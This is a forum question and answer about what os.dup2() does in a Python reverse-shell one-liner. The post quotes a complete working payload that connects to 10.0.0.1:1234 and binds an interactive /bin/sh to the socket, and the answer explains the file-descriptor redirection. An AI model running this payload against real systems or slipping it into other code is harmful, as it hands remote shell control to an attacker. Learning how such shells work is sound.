What does os.dup2() do in a python reverse shell when used with the socket?

Viewed 4182
import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

I Know this creates a TCP socket that connects to 10.0.0.1 on port 1234. I have a question though.

What do the os.dup2()s do in this case? I know they have to do with file descriptors and that 0 is STDIN, 1 is STDOUT and 2 is STDERR, but I don't know what that does here.

2 Answers

As phd commented above, once the TCP ip4 socket is created and establishes a connection on the remote ip and port, the os.dup2() calls the system call dup2() to create brand new file descriptors, destroying the original old ones, those brand new file descriptors will be passed into the subshell created by the subprocess statement, so that way the interactive shell will get the fd 0 1 2 from the socket.

If you see the process tree you'll see "/bin/sh -i" is a "subprocess" of the parent process running the socket.

Process tree

Related